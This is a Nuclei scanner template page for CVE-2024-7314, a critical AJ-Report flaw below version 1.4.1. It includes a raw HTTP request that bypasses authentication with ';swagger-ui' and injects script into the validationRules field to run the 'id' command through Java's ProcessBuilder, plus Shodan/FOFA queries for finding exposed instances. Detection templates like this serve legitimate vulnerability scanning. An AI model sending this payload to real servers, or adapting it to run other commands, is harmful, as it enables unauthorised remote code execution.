AJ-Report < 1.4.1 - Remote Code Execution

ID: CVE-2024-7314

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,aj-report,anji-plus,rce,swagger

Description

AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append “;swagger-ui” to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.

YAML Source

id: CVE-2024-7314

info:
  name: AJ-Report < 1.4.1 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.
  remediation: |
    Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077
    - https://github.com/yuebusao/AJ-REPORT-EXPLOIT
    - https://xz.aliyun.com/t/14460
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-280
    cve-id: CVE-2024-7314
    cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: anji-plus
    product: report
    fofa-query: app="AJ-Report"
    shodan-query: http.title:"AJ-Report"
  tags: cve,cve2024,aj-report,anji-plus,rce,swagger

http:
  - raw:
      - |
        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - 'data":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
# digest: 4a0a004730450221009c18ab3a779067bb272e6f2f3e0d0d11d1b5a2a17914246df5b9aa80b3d8acc702202cbcf5a1d7723d0764141aa9f6b1013a301c11d0c725a205774328a2307be698:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7314.yaml"

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